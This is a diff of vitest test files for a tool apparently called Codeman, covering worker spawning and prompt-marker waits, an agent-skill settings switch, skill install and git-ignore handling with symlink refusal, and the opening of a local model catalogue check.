expect(run.stderr).toContain('OPERATION_FAILED');
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start']);
});
it('refuses before any quick-start when no local model is installed', () => {
const run = runSkill('spawn_worker summ local', { 'lm-get': status({ state: 'idle', actions: ['install'] }) });
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/no local model to spawn on \(not-installed\)/);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get']);
});
it('reports a runtime that was started but did not come up, and spawns nothing', () => {
const failed = status({
...INSTALLED,
actions: ['start', 'remove'],
error: { code: 'runtime-start-failed', next: 'start', message: { text: 'The runtime did not start.' } },
});
const run = runSkill('spawn_worker summ local', {
'lm-get.1': STOPPED,
'lm-runtime': JSON.stringify({ success: true, data: { state: 'installed', running: false } }),
'lm-get.2': failed,
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/started, but \(blocked\): The runtime did not start\./);
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'lm-runtime', 'lm-get']);
});
it('deletes a worker whose composer never drew and hands back nothing', () => {
const run = runSkill('spawn_worker summ local', {
'lm-get': RUNNING,
'quick-start': QUICK_START,
'wait-output': JSON.stringify({ success: true, data: { wait: { matched: false, timedOut: true } } }),
delete: JSON.stringify({ success: true, data: {} }),
});
expect(run.rc).toBe(1);
expect(run.stdout).toBe('');
expect(run.stderr).toMatch(/never drew/);
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual([
'GET lm-get',
'POST quick-start',
'GET wait-output',
'DELETE delete',
]);
});
it('refuses a harness it knows no composer mark for, unless LOCAL_READY_MARK names one', () => {
const pi = status({ ...INSTALLED, cli: 'pi', running: true, actions: ['start-session', 'stop', 'remove'] });
const refused = runSkill('spawn_worker summ local', { 'lm-get': pi });
expect(refused.rc).toBe(1);
expect(refused.stdout).toBe('');
expect(refused.stderr).toMatch(/LOCAL_READY_MARK/);
expect(refused.calls.map((call) => call.key)).toEqual(['lm-get']);
const marked = runSkill(
'spawn_worker summ local',
{ 'lm-get': pi, 'quick-start': QUICK_START, 'wait-output': MATCHED },
{ LOCAL_READY_MARK: 'pi-ready' }
);
expect(marked.rc).toBe(0);
expect(marked.stdout).toBe(`${SID}\n`);
expect(JSON.parse(marked.calls[1].d).mode).toBe('pi');
expect(marked.calls[2].q).toContain('match=pi-ready');
});
it('runs a claude harness through the claude readiness path (hooks vetted, shift+tab)', () => {
const claude = status({ ...INSTALLED, cli: 'claude', running: true, actions: ['start-session', 'stop', 'remove'] });
const run = runSkill(
`mkdir -p "$WD/.claude" && printf '%s' '{"hooks":{"Stop":[{"command":"curl /api/hook-event"}]}}' > "$WD/.claude/settings.local.json"
printf '%s' "{\\"success\\":true,\\"data\\":{\\"sessionId\\":\\"${SID}\\",\\"casePath\\":\\"$WD\\"}}" > "$ANSWERS/quick-start"
spawn_worker summ local`,
{ 'lm-get': claude, 'wait-output': MATCHED },
{ CODEMAN_WORKER_ADVISOR: 'opus' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(run.stdout).toBe(`${SID}\n`);
const body = JSON.parse(run.calls[1].d);
expect(body.mode).toBe('claude');
expect(body.advisorModel).toBeUndefined();
expect(body.customModel).toEqual({ endpointId: 'local-ollama', modelId: 'qwen3.6:35b-a3b' });
expect(run.calls[2].q).toContain('match=shift+tab');
// The advisor read-back is skipped too: no GET of the session.
expect(run.calls.map((call) => call.key)).toEqual(['lm-get', 'quick-start', 'wait-output']);
});
});
describe.skipIf(!hasJq)('preamble sendmark', () => {
const delivered = JSON.stringify({
success: true,
data: { delivered: true, duplicate: false, wait: { timedOut: true, ended: false, signal: null } },
});
/** Answers GET /api/sessions/:id with the run's own working directory, then runs `body`. */
function withSession(body: string): string {
return `printf '%s' "{\\"success\\":true,\\"data\\":{\\"id\\":\\"${SID}\\",\\"workingDir\\":\\"$WD\\"}}" > "$ANSWERS/session"; ${body}`;
}
it('sends once, waits for the split marker, and returns the answer file', () => {
const run = runSkill(
withSession(`sendmark ${SID} $'Summarize these files:\\n- a.md\\n- b.md' 30`),
{ input: delivered, 'wait-output': MATCHED },
{ ANSWER_TEXT: 'a.md: setup. b.md: usage.' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
const out = lastJson(run.stdout);
expect(out).toMatchObject({
delivered: true,
matched: true,
answer: 'a.md: setup. b.md: usage.',
truncated: false,
});
const token = out.token as string;
expect(token).toMatch(/^m[0-9a-f]+$/);
expect(out.answerFile).toBe(join(run.wd, `codeman-answer-${token}.md`));
expect(run.calls.map((call) => `${call.m} ${call.key}`)).toEqual(['GET session', 'POST input', 'GET wait-output']);
const input = JSON.parse(run.calls[1].d) as Record<string, unknown>;
// The exactly-once body: the per-worker clientId, an epoch-second seq, one Enter at the end.
expect(input.clientId).toBe(`codeman-agent-1-${SID}`);
expect(typeof input.seq).toBe('number');
expect(input).toMatchObject({ useMux: true, wait: 'exit', waitTimeout: 1000 });
const text = input.input as string;
expect(text.endsWith('\r')).toBe(true);
expect(text.slice(0, -1)).not.toMatch(/[\r\n]/);
expect(text.startsWith('Summarize these files: - a.md - b.md (When you are done')).toBe(true);
expect(text).toContain(`codeman-answer-${token}.md`);
expect(text).toContain(`the word DONE immediately followed by _${token}`);
// Split: the typed prompt never holds the joined marker, so its echo cannot match.
expect(text).not.toContain(`DONE_${token}`);
expect(run.calls[2].q).toContain(`match=DONE_${token}`);
expect(run.calls[2].q).toContain('from=buffer');
});
it('answers 2 when no marker prints before the timeout, and deletes nothing', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 1`), {
input: delivered,
'wait-output': NOT_MATCHED,
'wait-output.delay': '1',
});
expect(run.rc).toBe(2);
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: null });
expect(run.calls.some((call) => call.key === 'delete')).toBe(false);
});
it('reads the answer file without a marker once it held still for a round (a full-screen pane draws the marker in pieces)', () => {
// Measured on opencode 1.3.0: a reply streamed a character or two at a time reaches the
// stripped stream as D, spinner, O, spinner, N, ... and never matches, while the screen
// shows the whole token. The file must still end the wait.
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
{ input: delivered, 'wait-output': NOT_MATCHED },
{ ANSWER_TEXT: 'one two three' }
);
expect(run.stderr).toBe('');
expect(run.rc).toBe(0);
expect(lastJson(run.stdout)).toMatchObject({ delivered: true, matched: false, answer: 'one two three' });
// The first round finds the file, the second finds it unchanged: two marker waits, then done.
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait-output']);
for (const call of run.calls.slice(2)) expect(call.q).toContain('timeout=10000');
});
it('does not read an answer file that is still changing, and answers 2 at the timeout', () => {
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 3`),
{ input: delivered, 'wait-output': NOT_MATCHED, 'wait-output.delay': '1' },
{ ANSWER_APPEND: 'one more line' }
);
expect(run.rc).toBe(2);
expect(lastJson(run.stdout)).toMatchObject({ matched: false, answer: null });
expect(run.calls.filter((call) => call.key === 'wait-output').length).toBeGreaterThanOrEqual(2);
});
it('answers 3 when the worker ends while it waits for the answer file after the marker', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: delivered,
'wait-output': MATCHED,
wait: JSON.stringify({ success: true, data: { wait: { signal: 'exit', ended: false, timedOut: false } } }),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null, ended: true });
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
});
it('still waits two seconds per check for the answer file when the exit wait gets no answer', () => {
const started = Date.now();
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
// No answer file for `wait`: the stub answers success:false, as a server that is gone.
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_FILE_WAIT: '2' }
);
expect(run.rc).toBe(4);
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input', 'wait-output', 'wait']);
expect(Date.now() - started).toBeGreaterThanOrEqual(2000);
});
it('answers 4 when the marker printed but no answer file turned up', () => {
const run = runSkill(
withSession(`sendmark ${SID} 'count to three' 30`),
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_FILE_WAIT: '0' }
);
expect(run.rc).toBe(4);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
});
it('refuses to read an answer file that is a symlink', () => {
const secret = join(tmpdir(), 'codeman-sendmark-not-read');
const run = runSkill(
withSession(
`printf 'private' > "${secret}"; sendmark ${SID} 'count to three' 30; rc=$?; rm -f "${secret}"; exit $rc`
),
{ input: delivered, 'wait-output': MATCHED },
{ ANSWER_SYMLINK: secret, SENDMARK_FILE_WAIT: '0' }
);
expect(run.rc).toBe(4);
expect(run.stderr).toMatch(/is a symlink, not read/);
expect(run.stdout).not.toContain('private');
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answer: null });
});
it('answers 3 when the pane did not take the prompt because the worker ended', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: JSON.stringify({
success: true,
data: { delivered: false, duplicate: false, wait: { ended: true, aborted: false } },
}),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ delivered: false, matched: false });
expect(run.calls.map((call) => call.key)).toEqual(['session', 'input']);
});
it('answers 3 when the worker ends while it waits for the marker', () => {
const run = runSkill(withSession(`sendmark ${SID} 'count to three' 30`), {
input: delivered,
'wait-output': JSON.stringify({
success: true,
data: { wait: { matched: false, timedOut: false, ended: true } },
}),
});
expect(run.rc).toBe(3);
expect(lastJson(run.stdout)).toMatchObject({ matched: false, ended: true });
});
it('with SENDMARK_ANSWER_FILE=0 asks for the marker alone and reads no session', () => {
const run = runSkill(
`sendmark ${SID} 'review this' 30`,
{ input: delivered, 'wait-output': MATCHED },
{ SENDMARK_ANSWER_FILE: '0' }
);
expect(run.rc).toBe(0);
expect(lastJson(run.stdout)).toMatchObject({ matched: true, answerFile: null, answer: null });
expect(run.calls.map((call) => call.key)).toEqual(['input', 'wait-output']);
const text = (JSON.parse(run.calls[0].d) as { input: string }).input;
expect(text).not.toContain('codeman-answer-');
expect(text).toContain('the word DONE immediately followed by _');
});
it('refuses an empty prompt before sending anything', () => {
const run = runSkill(withSession(`sendmark ${SID} $' \\n\\t\\n'`));
expect(run.rc).toBe(1);
expect(run.stderr).toMatch(/sendmark: empty prompt/);
expect(run.calls).toEqual([]);
});
});
-243
View File
@@ -1,243 +0,0 @@
/**
* @fileoverview The Codeman Agent Skill switch (`agentSkillEnabled`) in App Settings,
* on by default since 1.50.0.
*
* What is pinned, and why it matters:
* - The REAL openAppSettings() reads an ABSENT key as on, like the server's
* getAgentSkillEnabled() (`!== false`). The page and the server must agree: a
* page that showed an absent key as off would write `false` on the next Save of
* any other setting, and the default would be gone without the user touching it.
* - Only an explicit false shows the switch off, wherever it came from (this
* device's blob or the server's settings.json, merged as a synced key).
* - saveAppSettings() sends the switch in the settings PUT, and the body passes the
* .strict() SettingsUpdateSchema (an undeclared key 400s every save).
* - A device that saved on 1.49.0 or earlier keeps `false` in its own blob. After the
* server's one-time boot migration (stored true) its switch shows on and a Save keeps it
* on; on a server without the key the device's copy is dropped for the default; a later
* explicit off on the server stays off. The Save body never carries the migration marker.
* - The row says it is on by default, that the copy stays out of git, and how to
* remove copies already written (turning it off sweeps nothing).
*
* The real modules run INSIDE a JSDOM window (runScripts: 'outside-only'), with the
* harness of test/tab-cli-logos-setting.test.ts.
*
* Port: none.
*/
import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { JSDOM } from 'jsdom';
import { afterEach, describe, expect, it, vi } from 'vitest';
import { SettingsUpdateSchema } from '../src/web/schemas.js';
const PUBLIC = join(process.cwd(), 'src/web/public');
const read = (name: string) => readFileSync(join(PUBLIC, name), 'utf8');
const INDEX = read('index.html');
const SCRIPTS = ['constants.js', 'app.js', 'settings-ui.js'].map(read);
const DESKTOP_KEY = 'codeman-app-settings';
type Settings = Record<string, unknown>;
interface SettingsApp {
openAppSettings(): void;
saveAppSettings(): Promise<void>;
loadAppSettingsFromServer(p: Promise<Settings>): Promise<Settings>;
_apiPut: ReturnType<typeof vi.fn>;
}
/** Methods that run for real; every other method of the app is a no-op here. */
const REAL = new Set([
'openAppSettings',
'saveAppSettings',
'loadAppSettingsFromServer',
'loadAppSettingsFromStorage',
'saveAppSettingsToStorage',
'getSettingsStorageKey',
'getDefaultSettings',
'resolveTabArrangement',
'resolveTabStateOrder',
// Real so the save builds the body a browser would send (the schema check).
'resolveHeaderStatsStyle',
'resolveSessionSidebarFontSize',
'_displaySettingKeySet',
]);
/** Methods the load/save paths call that other modules add to the prototype. */
const ELSEWHERE = [
'showToast',
'_updateLocalEchoState',
'renderProjectInsightsPanel',
'updateSubagentWindowVisibility',
'showWelcome',
'_applyRunMode',
];
const windows: { close(): void }[] = [];
afterEach(() => {
for (const win of windows.splice(0)) win.close();
});
/** The whole index.html with constants.js, app.js and settings-ui.js loaded into it. */
async function boot(stored?: Settings) {
const dom = new JSDOM(INDEX, { url: 'http://localhost/', runScripts: 'outside-only' });
const win = dom.window as unknown as Window & typeof globalThis & { eval(src: string): void; __App: any };
windows.push(win);
// After load, so app.js's DOMContentLoaded boot never runs; only the prototype is under test.
if (win.document.readyState !== 'complete') await new Promise((resolve) => win.addEventListener('load', resolve));
win.setInterval = (() => 0) as unknown as typeof win.setInterval;
if (stored) win.localStorage.setItem(DESKTOP_KEY, JSON.stringify(stored));
win.eval(
[
`var MobileDetection = {
getDeviceType: () => 'desktop',
isHandheldDevice: () => false,
isMobile: () => false,
isTouchDevice: () => false,
};
var KeyboardHandler = {}, SwipeHandler = {}, DeepgramProvider = {}, NotificationManager = function () {};
var KeyboardAccessoryBar = { setMode() {} };
var VoiceInput = { _getDeepgramConfig: () => ({}), _saveDeepgramConfig() {}, refreshClaudeStatus: () => Promise.resolve() };
var FocusTrap = function () { this.activate = () => {}; this.deactivate = () => {}; };
var DEFAULT_VOICE_KEYTERMS = '';`,
...SCRIPTS,
'window.__App = CodemanApp;',
].join('\n')
);
const target = Object.create(win.__App.prototype);
target.sessions = new Map();
target.sessionOrder = [];
target._apiPut = vi.fn(async () => ({ ok: true }));
const noop = () => undefined;
for (const name of ELSEWHERE) target[name] = noop;
const app = new Proxy(target, {
get(t, key, receiver) {
const value = Reflect.get(t, key, receiver);
const stubbed =
typeof key === 'string' && typeof value === 'function' && !Object.hasOwn(t, key) && !REAL.has(key);
return stubbed ? noop : value;
},
}) as SettingsApp;
const checkbox = () => win.document.getElementById('appSettingsAgentSkill') as HTMLInputElement;
const putBody = () => {
const calls = app._apiPut.mock.calls as [string, Settings][];
const call = calls.find(([path]) => path === '/api/settings');
expect(call, 'a settings PUT').toBeDefined();
return call![1];
};
return { app, checkbox, putBody };
}
describe('the switch loads on by default', () => {
it('an absent key shows on, an explicit false off, an explicit true on', async () => {
for (const [stored, expected] of [
[{}, true],
[{ agentSkillEnabled: false }, false],
[{ agentSkillEnabled: true }, true],
] as const) {
const { app, checkbox } = await boot(stored);
checkbox().checked = !expected;
app.openAppSettings();
expect(checkbox().checked, JSON.stringify(stored)).toBe(expected);
}
});
it('a fresh device on a server with no stored value shows on', async () => {
const { app, checkbox } = await boot();
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
checkbox().checked = false;
app.openAppSettings();
expect(checkbox().checked).toBe(true);
});
it("the server's explicit false wins over this device's blob (a synced key)", async () => {
const { app, checkbox } = await boot({ agentSkillEnabled: true });
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
});
});
describe('Save', () => {
it('saving other settings on a never-touched install keeps it on, and the body passes the schema', async () => {
const { app, putBody } = await boot({});
app.openAppSettings();
await app.saveAppSettings();
const body = putBody();
expect(body.agentSkillEnabled).toBe(true);
// The whole body, not just this key: an undeclared key 400s every save.
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
});
it('switching it off sends an explicit false', async () => {
const { app, checkbox, putBody } = await boot({});
app.openAppSettings();
checkbox().checked = false;
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(false);
});
});
// Every device that saved App Settings on 1.49.0 or earlier holds `agentSkillEnabled: false` in
// its own blob (the switch loaded an absent key as off). The server's boot migration
// (src/web/agent-skill-default-migration.ts) switches a stored false on by storing TRUE, because
// the merge only overwrites a synced key the server has: a key it deleted would leave the
// device's false in place, and the next Save would write it back.
describe('a device that saved before 1.50.0', () => {
const OLD_BLOB = { agentSkillEnabled: false, autoNameSessions: false };
it("after the server's migration (stored true) the switch shows on, and a Save keeps it on and passes the schema", async () => {
const { app, checkbox, putBody } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: true, lastUsedCase: 'demo' }));
app.openAppSettings();
expect(checkbox().checked).toBe(true);
await app.saveAppSettings();
const body = putBody();
expect(body.agentSkillEnabled).toBe(true);
// The migration's marker is a file of its own, never a setting: the Save can neither send it
// back nor be refused for it by the .strict() schema.
expect(Object.keys(body).filter((key) => /migrat/i.test(key))).toEqual([]);
expect(SettingsUpdateSchema.safeParse(body).error?.issues ?? []).toEqual([]);
});
it('on a server without the key (a save that never reached it) the switch shows the default, on', async () => {
const { app, checkbox, putBody } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve({ lastUsedCase: 'demo' }));
app.openAppSettings();
expect(checkbox().checked).toBe(true);
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(true);
});
it('an off the user saved after the migration stays off on every device', async () => {
const { app, checkbox, putBody } = await boot({ agentSkillEnabled: true });
await app.loadAppSettingsFromServer(Promise.resolve({ agentSkillEnabled: false }));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
await app.saveAppSettings();
expect(putBody().agentSkillEnabled).toBe(false);
});
it('without a server answer the device keeps what it has', async () => {
const { app, checkbox } = await boot(OLD_BLOB);
await app.loadAppSettingsFromServer(Promise.resolve(null as unknown as Settings));
app.openAppSettings();
expect(checkbox().checked).toBe(false);
});
});
describe('the App Settings row', () => {
const doc = new JSDOM(INDEX).window.document;
const row = doc.getElementById('appSettingsAgentSkill')!.closest('.set-row') as HTMLElement;
const desc = row.querySelector('.set-row-desc')!.textContent!;
it('is a synced switch', () => {
expect((doc.getElementById('appSettingsAgentSkill') as HTMLInputElement).type).toBe('checkbox');
expect(row.closest('.set-group')!.querySelector('.set-scope')!.textContent).toBe('synced');
});
it('says it is on by default, that git does not list the copy, and how to remove copies', () => {
expect(desc).toContain('On by default');
expect(desc).toContain('ignores itself in git');
expect(desc).toContain('codeman skill uninstall --case <name>');
});
});
-2
View File
@@ -81,8 +81,6 @@ describe('applyAgentSkill with a directory', () => {
expect(skillMd.startsWith('---\nname: codeman')).toBe(true);
expect(skillMd).toContain(MARKER_PREFIX);
expect(existsSync(join(skillDir, 'reference', 'endpoints.md'))).toBe(true);
// It ignores itself in git there too, like the Claude Code copy.
expect(await readFile(join(skillDir, '.gitignore'), 'utf-8')).toBe('*\n');
expect(existsSync(join(casePath, '.claude'))).toBe(false);
expect(await applyAgentSkill(casePath, true, AGENTS_DIR)).toBe('unchanged');
});
+1 -168
View File
@@ -7,14 +7,12 @@
* publish without them would be caught here before the `files` entry silently
* ignores the missing directory.
*
* Filesystem tests in a per-test temp dir; the self-ignoring block also runs real
* `git` there (no global or system config). Port: N/A.
* Pure filesystem tests in a per-test temp dir. Port: N/A.
*/
import { describe, it, expect, beforeEach, afterEach } from 'vitest';
import { mkdtemp, rm, mkdir, writeFile, readFile, symlink, readdir, stat, utimes } from 'node:fs/promises';
import { existsSync } from 'node:fs';
import { execFileSync } from 'node:child_process';
import { join } from 'node:path';
import { tmpdir, homedir } from 'node:os';
import {
@@ -94,8 +92,6 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
expect(await applyAgentSkill(casePath, true)).toBe('foreign');
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).toContain('my own skill');
expect(existsSync(join(skillDir(), 'reference'))).toBe(false);
// Not even the ignore file: a foreign copy is the user's to track or not.
expect(existsSync(join(skillDir(), '.gitignore'))).toBe(false);
});
it('refuses to write through a symlinked skill dir (dogfooding layout)', async () => {
@@ -111,61 +107,9 @@ describe('installAgentSkillInto / applyAgentSkill(enabled)', () => {
expect(await installAgentSkillInto(skillDir())).toBe('symlink');
expect(await readdir(join(casePath, 'real-skills'))).toEqual([]);
});
// A cloned repository can commit `reference` as a link, and a Docker case's container
// can plant one in the bind-mounted workspace the host injects into (on by default).
it('refuses a symlinked reference/ folder inside the copy, so nothing is written where it points', async () => {
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
await writeFile(join(outside, 'history.md'), 'my notes\n');
await mkdir(skillDir(), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
expect(await readdir(outside)).toEqual(['history.md']);
expect(await readFile(join(outside, 'history.md'), 'utf-8')).toBe('my notes\n');
// Refused before the first write: no SKILL.md, no ignore file.
expect(await readdir(skillDir())).toEqual(['reference']);
});
it('refuses a symlinked reference/ folder planted beside an existing Codeman copy', async () => {
await applyAgentSkill(casePath, true);
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
await writeFile(join(outside, 'recipes.md'), 'my recipes\n');
await rm(join(skillDir(), 'reference'), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
const skillMd = await readFile(join(skillDir(), 'SKILL.md'), 'utf-8');
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
expect(await applyAgentSkill(casePath, true)).toBe('symlink');
expect(await readdir(outside)).toEqual(['recipes.md']);
expect(await readFile(join(outside, 'recipes.md'), 'utf-8')).toBe('my recipes\n');
// The stale copy is left as found, not refreshed through the link.
expect(await readFile(join(skillDir(), 'SKILL.md'), 'utf-8')).not.toBe(skillMd);
});
});
describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
it('refuses to delete through a symlinked reference/ folder inside the copy', async () => {
await applyAgentSkill(casePath, true);
const outside = join(casePath, 'outside');
await mkdir(outside, { recursive: true });
// Files named like the packaged reference files: an unlink through the link would take them.
for (const name of await readdir(join(skillDir(), 'reference'))) {
await writeFile(join(outside, name), 'not yours\n');
}
const names = (await readdir(outside)).sort();
expect(names.length).toBeGreaterThan(0);
await rm(join(skillDir(), 'reference'), { recursive: true });
await symlink(outside, join(skillDir(), 'reference'));
expect(await applyAgentSkill(casePath, false)).toBe('symlink');
expect((await readdir(outside)).sort()).toEqual(names);
for (const name of names) expect(await readFile(join(outside, name), 'utf-8')).toBe('not yours\n');
expect(existsSync(join(skillDir(), 'SKILL.md'))).toBe(true);
});
it('removes our copy and prunes the emptied directories', async () => {
await applyAgentSkill(casePath, true);
expect(await applyAgentSkill(casePath, false)).toBe('removed');
@@ -195,117 +139,6 @@ describe('removeAgentSkillFrom / applyAgentSkill(disabled)', () => {
expect(existsSync(join(skillDir(), 'reference', 'endpoints.md'))).toBe(false);
// The user's file and the directories holding it survive.
expect(await readFile(join(skillDir(), 'reference', 'my-notes.md'), 'utf-8')).toBe('mine\n');
// And so does the ignore file, so their notes stay out of `git status` as before.
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
});
});
describe('the injected copy ignores itself in git', () => {
const ENV = {
...process.env,
LC_ALL: 'C',
GIT_AUTHOR_NAME: 'T',
GIT_AUTHOR_EMAIL: 't@example.com',
GIT_COMMITTER_NAME: 'T',
GIT_COMMITTER_EMAIL: 't@example.com',
GIT_CONFIG_GLOBAL: '/dev/null',
GIT_CONFIG_NOSYSTEM: '1',
};
const git = (...args: string[]) =>
execFileSync('git', args, { cwd: casePath, env: ENV, encoding: 'utf-8', stdio: ['ignore', 'pipe', 'pipe'] });
/** Exit status of `git check-ignore -q -- <path>`: 0 ignored, 1 not ignored. */
const checkIgnore = (path: string): number => {
try {
git('check-ignore', '-q', '--', path);
return 0;
} catch (err) {
return (err as { status: number }).status;
}
};
/** A repository with one commit and a tracked `.gitignore` of its own. */
const initRepo = async () => {
git('init', '-q', '-b', 'main');
await writeFile(join(casePath, 'README.md'), 'hello\n');
await writeFile(join(casePath, '.gitignore'), 'node_modules/\n');
git('add', 'README.md', '.gitignore');
git('-c', 'commit.gpgsign=false', 'commit', '-q', '-m', 'init');
};
it('writes a .gitignore of `*` into the copy on install', async () => {
expect(await applyAgentSkill(casePath, true)).toBe('installed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
// Never part of the skill content: a second run has nothing to do.
expect(await applyAgentSkill(casePath, true)).toBe('unchanged');
});
it('keeps `git status` of the user repository clean, and leaves its own ignore file alone', async () => {
await initRepo();
await applyAgentSkill(casePath, true);
await applyAgentSkill(casePath, true, '.agents/skills');
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
expect(await readFile(join(casePath, '.gitignore'), 'utf-8')).toBe('node_modules/\n');
// Nor the repository's local exclude file (git's template may or may not create one).
const exclude = join(casePath, '.git', 'info', 'exclude');
if (existsSync(exclude)) expect(await readFile(exclude, 'utf-8')).not.toContain('codeman');
});
it('ignores the copy contents, never the folder above it (Claude Code checks only those)', async () => {
// Claude Code 2.1.319 skips a nested skills folder when `git check-ignore` says its
// project directory is ignored; it never checks a skill folder or its SKILL.md.
await initRepo();
await applyAgentSkill(casePath, true);
expect(checkIgnore('.claude/skills/codeman/SKILL.md')).toBe(0);
expect(checkIgnore('.claude/skills/codeman')).toBe(1);
expect(checkIgnore('.claude/skills')).toBe(1);
expect(checkIgnore('.claude')).toBe(1);
});
it('never overwrites a .gitignore that is already in the folder', async () => {
await applyAgentSkill(casePath, true);
await writeFile(join(skillDir(), '.gitignore'), '# mine\nSKILL.md\n');
// A stale copy: the refresh rewrites the skill but not the ignore file.
await writeFile(join(skillDir(), 'SKILL.md'), `stale\n${MARKER_PREFIX}: old -->\n`);
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('# mine\nSKILL.md\n');
});
it('a copy injected before the ignore file existed gains it on the next install', async () => {
await applyAgentSkill(casePath, true);
await rm(join(skillDir(), '.gitignore'));
// Every skill file is current, so only the ignore file is new: still a refresh.
expect(await applyAgentSkill(casePath, true)).toBe('refreshed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('*\n');
});
it('does not write through a symlink planted at the ignore file name', async () => {
await mkdir(skillDir(), { recursive: true });
const outside = join(casePath, 'outside.txt');
await writeFile(outside, 'untouched\n');
await symlink(outside, join(skillDir(), '.gitignore'));
expect(await applyAgentSkill(casePath, true)).toBe('installed');
expect(await readFile(outside, 'utf-8')).toBe('untouched\n');
});
it('uninstall removes the ignore file with the copy, so no folder is left behind', async () => {
await initRepo();
await applyAgentSkill(casePath, true);
expect(await applyAgentSkill(casePath, false)).toBe('removed');
expect(existsSync(skillDir())).toBe(false);
expect(existsSync(join(casePath, '.claude', 'skills'))).toBe(false);
expect(git('status', '--porcelain', '--untracked-files=all')).toBe('');
});
it("uninstall keeps an ignore file that is not Codeman's", async () => {
await applyAgentSkill(casePath, true);
await writeFile(join(skillDir(), '.gitignore'), 'SKILL.md\n');
expect(await applyAgentSkill(casePath, false)).toBe('removed');
expect(await readFile(join(skillDir(), '.gitignore'), 'utf-8')).toBe('SKILL.md\n');
});
it('the packaged source carries no ignore file (the plugin mirror pins its file set)', () => {
expect(existsSync(join(process.cwd(), 'skills', 'codeman', '.gitignore'))).toBe(false);
expect(existsSync(join(process.cwd(), 'plugins', 'codeman', 'skills', 'codeman', '.gitignore'))).toBe(false);
});
});
+751
View File
@@ -0,0 +1,751 @@
/**
* @fileoverview scripts/check-local-model-catalog.mjs, the weekly check of the local model
* catalogue: which build a Mac pulls from a manifest list, the pull total, how a row's drift is
* classified, the exit code, the report text, and that the IO side only ever asks for
* manifests, child manifests and configs (never a layer). The network is never used: the IO
* tests drive a fake registry and a fake GitHub API.
*
* The fixtures under test/fixtures/local-model-catalog/ are real bodies the registry served on
* 2026-11-08 for `qwen3.6:35b-a3b`, byte for byte, so their digests are the real ones.
*/
import { readFileSync } from 'node:fs';
import { resolve } from 'node:path';
import { describe, expect, it } from 'vitest';
import {
CheckFailure,
MANIFEST_ACCEPT,
MAX_MANIFEST_BYTES,
MEDIA_TYPE_MANIFEST,
MEDIA_TYPE_MANIFEST_LIST,
SIZE_TOLERANCE_FRACTION,
boundedGet,
catalogueRunner,
classifyModel,
classifyRuntime,
compareVersions,
exitCodeFor,
formatPercent,
groupDigits,
inspectModel,
metadataForConfig,
normalizeDigest,
parseVersion,
pullTotalBytes,
renderReport,
runCheck,
selectMacChild,
sha256Digest,
splitModelId,
withinTolerance,
} from '../scripts/check-local-model-catalog.mjs';
const fixtureDir = resolve(import.meta.dirname, 'fixtures/local-model-catalog');
const fixture = (name: string): Buffer => readFileSync(resolve(fixtureDir, name));
const REAL_LIST = fixture('qwen3.6-35b-a3b.list.json');
const REAL_GGUF_MANIFEST = fixture('qwen3.6-35b-a3b.gguf-manifest.json');
const REAL_MLX_CONFIG = fixture('qwen3.6-35b-a3b.mlx-config.json');
/** The digest of the MLX child the real list names, which a Mac pulled on 2026-11-06. */
const REAL_MLX_CHILD = 'sha256:0ce5ff81f9ffdf89dd8192ca7b5d34cefd8996a875b3aaaaafaf5c4813569eba';
const REAL_GGUF_CHILD = 'sha256:a7eb95c53bcf96b4bdd008d0fab4a5dac88047d9c1a7a9ab88ed453423fbd87c';
